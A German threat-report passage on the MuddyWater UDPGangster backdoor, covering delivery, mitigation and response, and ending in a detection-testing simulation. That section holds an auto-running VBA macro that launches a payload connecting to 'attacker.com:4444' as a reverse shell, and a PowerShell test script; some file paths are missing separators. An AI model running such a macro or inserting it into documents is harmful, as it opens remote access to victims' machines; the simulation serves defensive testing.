UDPGangster-Angriffe breiten sich über mehrere Länder aus

Zusammenfassung

UDPGangster ist ein UDP-basierter Hintertür-Trojaner, der von der Bedrohungsgruppe MuddyWater genutzt wird, um Windows-Hosts aus der Ferne zu steuern. Der erste Kompromittierungsschritt erfolgt über ein bösartiges Word-Dokument, das VBA-Makros verwendet, um die Schadsoftware abzulegen und auszuführen. Die Malware führt umfangreiche Anti-Analyse-Prüfungen durch und bleibt persistenz, indem sie eine Kopie im AppData-Verzeichnis des Benutzers ablegt und einen Run-Schlüssel erstellt. Kürzlich beobachtete Kampagnen zielten auf Benutzer in der Türkei, Israel und Aserbaidschan.

Untersuchung

FortiGuard Labs untersuchte die Phishing-E-Mails, das eingebettete VBA-Makro, die abgelegte ausführbare Datei und ihre Persistenztechniken. Sie extrahierten Indikatoren wie Dateipfade, Run-Registry-Einträge, Mutex-Namen und zugehörige C2-Infrastruktur. Die Korrelation von IP-Adressen, Domänen und PDB-Pfaden ermöglichte es Analysten, diese Aktivitäten mit früheren MuddyWater-Operationen in Verbindung zu bringen.

Minderung

Minderungsmaßnahmen umfassen die Durchsetzung der Makroblockierung oder eine robuste Benutzerschulung, um die Ausführung von Makros zu verhindern, sowie den Einsatz von Endgeräteverteidigungen, die verdächtige Dateischreibvorgänge in öffentliche oder Benutzerprofil-Ordner sowie Änderungen an Run-Registry-Schlüsseln überwachen. Netzwerkteams sollten nach anomalen UDP-Verkehr auf Port 1269 Ausschau halten und bekannte bösartige IP-Adressen und Domänen blockieren, um C2-Kanäle zu stören.

Reaktion

Wenn Aktivitäten von UDPGangster erkannt werden, isolieren Sie den betroffenen Endpunkt, sammeln flüchtigen Speicher und vollständige Abbildungen der Festplatte, und suchen Sie nach der Hintertür-Binärdatei und verwandten Artefakten. Blockieren Sie die identifizierte C2-Infrastruktur, führen Sie eine gründliche forensische Analyse durch, um weitere kompromittierte Systeme aufzudecken, und aktualisieren Sie Sicherheits-Signaturen, um sowohl die bösartigen Makro-Dokumente als auch die Hintertür-Payload zu erkennen.

Simulationausführung

Voraussetzung: Der Telemetrie- und Basislinien-Pre-Flight-Check muss bestanden sein.

Begründung: Dieser Abschnitt beschreibt die präzise Ausführung der Angreifertechnik (TTP), die entwickelt wurde, um die Erkennungsregel auszulösen. Die Befehle und Erzählungen MÜSSEN direkt die identifizierten TTPs widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die durch die Erkennungslogik erwartet wird.

• Angriffserzählung & Befehle:
  Ein Angreifer liefert ein bösartiges Word-Dokument mit einem VBA-Makro. Das Makro ruft die Windows-API CreateProcessA auf, um cmd.exe zu starten und die UDPGangster-Payload (udp_gangster.exe). Die Payload stellt eine Reverse-Shell zum C2-Server des Angreifers her. Da das Makro explizit die Zeichenfolge „CreateProcessA“ übergibt und das Literal cmd.exe in der Befehlszeile übergibt, wird die Erkennungsregel übereinstimmen.

  1. VBA-Makro (vereinfacht) – demonstriert den API-Aufruf:

     Private Declare PtrSafe Function CreateProcessA Lib "kernel32" _
         (ByVal lpApplicationName As String, ByVal lpCommandLine As String, _
          ByVal lpProcessAttributes As LongPtr, ByVal lpThreadAttributes As LongPtr, _
          ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, _
          ByVal lpEnvironment As LongPtr, ByVal lpCurrentDirectory As String, _
          ByRef lpStartupInfo As STARTUPINFO, ByRef lpProcessInformation As PROCESS_INFORMATION) As Long
     
     Sub AutoOpen()
         Dim cmdLine As String
         cmdLine = "cmd.exe /c ""%TEMP%udp_gangster.exe -c attacker.com:4444"""
         Dim si As STARTUPINFO
         Dim pi As PROCESS_INFORMATION
         Call CreateProcessA(vbNullString, cmdLine, 0, 0, 1, &H00000010, 0, vbNullString, si, pi)
     End Sub

  2. Das Makro bereitstellen, das Dokument öffnen und das Makro ausführen lassen. Das resultierende Prozesseerstellungsevent wird folgendes beinhalten:

     Befehlszeile: cmd.exe /c "%TEMP%udp_gangster.exe -c attacker.com:4444"

• Regressions-Test-Skript: Das folgende PowerShell-Skript reproduziert die genaue Telemetrie ohne die Notwendigkeit eines Word-Dokuments. Es ruft die native Win32-API CreateProcessA über Add-Type.

  # Regressionstest: direkter CreateProcessA-Aufruf mit cmd.exe
  $source = @"
  using System;
  using System.Runtime.InteropServices;
  
  public class NativeMethods {
      [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Ansi)]
      public struct STARTUPINFO {
          public int cb;
          public string lpReserved;
          public string lpDesktop;
          public string lpTitle;
          public uint dwX;
          public uint dwY;
          public uint dwXSize;
          public uint dwYSize;
          public uint dwXCountChars;
          public uint dwYCountChars;
          public uint dwFillAttribute;
          public uint dwFlags;
          public short wShowWindow;
          public short cbReserved2;
          public IntPtr lpReserved2;
          public IntPtr hStdInput;
          public IntPtr hStdOutput;
          public IntPtr hStdError;
      }
  
      [StructLayout(LayoutKind.Sequential)]
      public struct PROCESS_INFORMATION {
          public IntPtr hProcess;
          public IntPtr hThread;
          public uint dwProcessId;
          public uint dwThreadId;
      }
  
      [DllImport("kernel32.dll", CharSet=CharSet.Ansi, SetLastError=true)]
      public static extern bool CreateProcessA(
          string lpApplicationName,
          string lpCommandLine,
          IntPtr lpProcessAttributes,
          IntPtr lpThreadAttributes,
          bool bInheritHandles,
          uint dwCreationFlags,
          IntPtr lpEnvironment,
          string lpCurrentDirectory,
          ref STARTUPINFO lpStartupInfo,
          out PROCESS_INFORMATION lpProcessInformation);
  }
  "@
  
  Add-Type $source
  
  $si = New-Object NativeMethods+STARTUPINFO
  $si.cb = [Runtime.InteropServices.Marshal]::SizeOf([NativeMethods+STARTUPINFO])
  $pi = New-Object NativeMethods+PROCESS_INFORMATION
  
  $cmd = 'cmd.exe /c "echo UDPGangster simulation > $env:TEMPudp_gangster.log"'
  
  $result = [NativeMethods]::CreateProcessA($null, $cmd, [IntPtr]::Zero, [IntPtr]::Zero, $true, 0x00000010, [IntPtr]::Zero, $null, [ref]$si, [ref]$pi)
  
  if (-not $result) {
      Write-Error "CreateProcessA failed: $([Runtime.InteropServices.Marshal]::GetLastWin32Error())"
  } else {
      Write-Host "CreateProcessA succeeded, command line logged."
  }

• Aufräumbefehle: Entfernen Sie das Artefakt, das während der Simulation erstellt wurde.

  # Entfernen Sie die temporäre Logdatei, die durch die Simulation erzeugt wurde
  Remove-Item -Path "$env:TEMPudp_gangster.log" -ErrorAction SilentlyContinue